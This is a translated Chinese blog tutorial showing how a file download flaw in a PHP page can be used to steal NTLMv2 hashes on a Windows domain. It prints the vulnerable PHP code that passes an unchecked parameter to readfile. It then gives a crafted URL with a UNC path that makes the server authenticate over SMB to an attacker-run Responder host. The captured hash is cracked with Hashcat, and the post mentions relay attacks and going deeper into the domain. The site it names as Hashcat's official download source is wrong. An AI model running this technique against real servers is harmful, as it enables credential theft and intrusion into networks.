大家好,这篇文章将展示“如何利用文件下载漏洞来偷取NTLMv2哈希”。在这个攻击场景中,Web应用安装在在Windows活动目录域中的一部分机器上,并允许用户在不检查文件路径的情况下下载文件。
攻击者可以利用文件下载漏洞让目标服务器对攻击者所控制的服务器发出一个下载请求,攻击者服务器上正运行“Responder”(一个内网渗透工具),以便从目标服务器中偷取NTLMv2哈希。Responder工具中的“SMB身份验证服务”会强制目标服务器切换到NTLMv2哈希身份验证,这样NTLMv2就可以用于以下情况:1.对任何“SMB签名禁用”的服务器进行中继攻击,2.或者攻击者可以尝试使用哈希破解工具(如Hashcat)暴力破解哈希。
让我们从具有文件下载漏洞的Web应用开始,使用SMB请求从远程主机下载文件。
PHP攻击url是
http://192.168.56.200:8080/file.php?file=any_file.txt
PHP文件代码如下
<?php
function file_download($download)
{
if(file_exists($download))
{
header("Content-Desc ription: File Transfer");
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Accept-Ranges: bytes');
header('Content-Disposition: attachment; filename="'.ba sename($download).'"');
header('Content-Length: ' . filesize($download));
header('Content-Type: application/octet-stream');
ob_clean();
flush();
readfile ($download);
}
else
{
echo "<sc ript>alert('file not found');</sc ript>";
}
}
$file_name=trim($_GET['file']);
file_download($file_name);
?>
如果我们指定任何一个存在于系统的文件,那么PHP脚本将执行文件下载操作。脚本执行下载操作时会检查是相对路径还是绝对路径,所以我们利用这一行为向运行了Responder工具的攻击者服务器发出SMB请求。
假设允许用户下载文件的实际请求是
http://192.168.56.200:8080/file.php?file=box.html
运行Responder的服务器的IP为192.168.56.102。
现在,向Responder服务器发出SMB请求,语句如下
http://target_web_server/vulnerable_sc ript.php?parameter=\\Responder_server_IP\any_file.txt
在这个案例中,target_web_server是192.168.56.200:8080vulnerable_sc ript.php是file.php文件中参数file的值,Responder_server_IP是192.168.56.102。
最终URL是
http://192.168.56.200:8080/file.php?file=\\192.168.56.102\box.html
如果一切顺利,Responder将捕获目标服务器的NTLMv2哈希。
上面的图片显示了Responder从目标服务器捕获的哈希,从中可以看到目标Web服务器正在以的Windows活动目录用户user3的身份运行。
现在,可以尝试暴力破解这个捕获的哈希来获得纯文本密码。“Hashcat”是执行整个破解的最快的工具。它支持CPU/GPU破解,还支持多种哈希格式。Hahcat官方下载网站是https://hashkiller.co.uk/downloads.aspx你也可以在https://hashcat.net/hashcat/下载破解字典。如果运气好的话,请静候结果。
Hashcat最后解出了Responder捕获的NTLMv2哈希,得到明文密码。现在我们可以围绕Windows活动目录进行更进一步的渗透了,因为我们有一个域用户的凭证。
以上就是我所了解的全部。
谢谢你的阅读。
原文链接:http://www.mannulinux.org/2018/12/how-to-steal-ntlmv2-hashes-using-file.html